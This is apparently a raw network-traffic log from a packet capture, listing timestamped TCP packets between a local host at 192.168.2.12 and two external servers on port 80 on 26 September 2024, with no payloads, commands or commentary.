Sep 26, 2024 15:11:11.319202900 CEST	80	49729	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:11.319267988 CEST	49729	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:11.319370031 CEST	49729	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:11.324409008 CEST	80	49729	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:13.898607016 CEST	80	49729	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:13.909058094 CEST	49729	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:13.909986973 CEST	49730	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:13.914412975 CEST	80	49729	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:13.914459944 CEST	49729	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:13.914875984 CEST	80	49730	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:13.914947033 CEST	49730	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:13.915049076 CEST	49730	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:13.920193911 CEST	80	49730	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:15.158406973 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:15.158514977 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:16.491647005 CEST	80	49730	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:16.541146040 CEST	49730	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:16.584985018 CEST	49731	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:16.589942932 CEST	80	49731	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:16.592956066 CEST	49731	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:16.603334904 CEST	49731	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:16.608155966 CEST	80	49731	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:17.036123037 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.041155100 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.041340113 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.045401096 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.050170898 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.662123919 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.662179947 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.662239075 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.662249088 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.662293911 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.662328959 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.662349939 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.662372112 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.662386894 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.662403107 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.662420988 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.662446976 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.662446976 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.662446976 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.662487984 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.667294025 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.667356014 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.667376995 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.667392969 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.667399883 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.667488098 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.750370026 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.750411987 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.750428915 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.750457048 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.750468016 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.750473022 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.750490904 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.750503063 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.750540018 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.750809908 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.750852108 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.750866890 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.750883102 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.750896931 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.750998020 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.751410007 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.751425982 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.751441956 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.751470089 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.751521111 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.751538992 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.751554012 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.751563072 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.751615047 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.752409935 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.752474070 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.752490997 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.752520084 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.752549887 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.752566099 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.752582073 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.752620935 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.752620935 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.753251076 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.753365040 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.753429890 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.755398035 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.755477905 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.755520105 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.838665009 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.838701963 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.838718891 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.838736057 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.838753939 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.838768005 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.838784933 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.838803053 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.838831902 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.838851929 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.838866949 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.838869095 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.838866949 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.838866949 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.838866949 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.839010000 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.839091063 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.839148998 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.839155912 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.839168072 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.839185953 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.839200974 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.839215040 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.839248896 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.839493990 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.839524031 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.839551926 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.839617968 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.839628935 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.839646101 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.839700937 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.839744091 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.839761019 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.839776993 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.839782953 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.839796066 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.839818001 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.839833021 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.839850903 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.839864016 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.839921951 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.839951038 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.839967966 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.839986086 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.840050936 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.840050936 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.840617895 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.840648890 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.840663910 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.840696096 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.840713978 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.840722084 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.840729952 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.840744972 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.840774059 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.840899944 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.840909004 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.840917110 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.840924978 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.840940952 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.840977907 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.841075897 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.841075897 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.841562033 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.841582060 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.841592073 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.841635942 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.841651917 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.841660976 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.841672897 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.841912031 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.843822002 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.885004997 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.927567005 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.927659988 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.927695990 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.927771091 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.927776098 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.927813053 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.927848101 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.927854061 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.927895069 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.927966118 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.928018093 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.928051949 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.928085089 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.928097963 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.928097963 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.928097963 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.928121090 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.928154945 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.928208113 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.928256035 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.928288937 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.928298950 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.928298950 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.928356886 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.928392887 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.928425074 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.928455114 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.928455114 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.928458929 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.928491116 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.928524017 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.928556919 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.928570986 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.928570986 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.928591967 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.928626060 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.928653955 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.928659916 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.928709984 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.928735018 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.928761959 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.928795099 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.928829908 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.928863049 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.928894997 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.928927898 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.928944111 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.928944111 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.928944111 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.928980112 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.929033995 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.929065943 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.929099083 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.929130077 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.929162979 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.929403067 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.929404020 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.929404020 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.929408073 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.929440022 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.929475069 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.929536104 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.929569006 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.929611921 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.929611921 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.929611921 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.929616928 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.929651976 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.929686069 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.929704905 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.929718971 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.929784060 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.929842949 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.929924965 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.930037975 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.930042028 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.930074930 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.930107117 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.930155039 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.930186987 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.930214882 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.930214882 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.930219889 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.930253983 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.930303097 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.930335045 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.930367947 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.930399895 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.930432081 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.930464983 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:17.930468082 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.930469036 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.930469036 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.930469036 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:17.978785992 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.015284061 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.015352964 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.015402079 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.015435934 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.015469074 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.015520096 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.015552998 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.015585899 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.015619040 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.015652895 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.015701056 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.015753984 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.015785933 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.015835047 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.015887976 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.015919924 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.015971899 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.016005039 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.016036987 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.016036987 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.016036987 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.016036987 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.016056061 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.016102076 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.016122103 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.016155958 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.016206980 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.016254902 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.016267061 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.016267061 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.016292095 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.016324997 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.016357899 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.016407967 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.016444921 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.016494036 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.016541958 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.016576052 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.016608000 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.016658068 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.016686916 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.016686916 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.016686916 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.016686916 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.016697884 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.016731024 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.016767025 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.016794920 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.016833067 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.016865969 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.016899109 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.016947031 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.016983986 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.016983986 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.016983986 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.016983986 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.016995907 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.017030954 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.017064095 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.017112017 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.017144918 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.017144918 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.017144918 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.017182112 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.017215967 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.017265081 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.017297029 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.017329931 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.017329931 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.017329931 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.017364979 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.017398119 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.017431021 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.017466068 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.017498970 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.017532110 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.017563105 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.017596960 CEST	80	49732	172.86.66.70	192.168.2.12
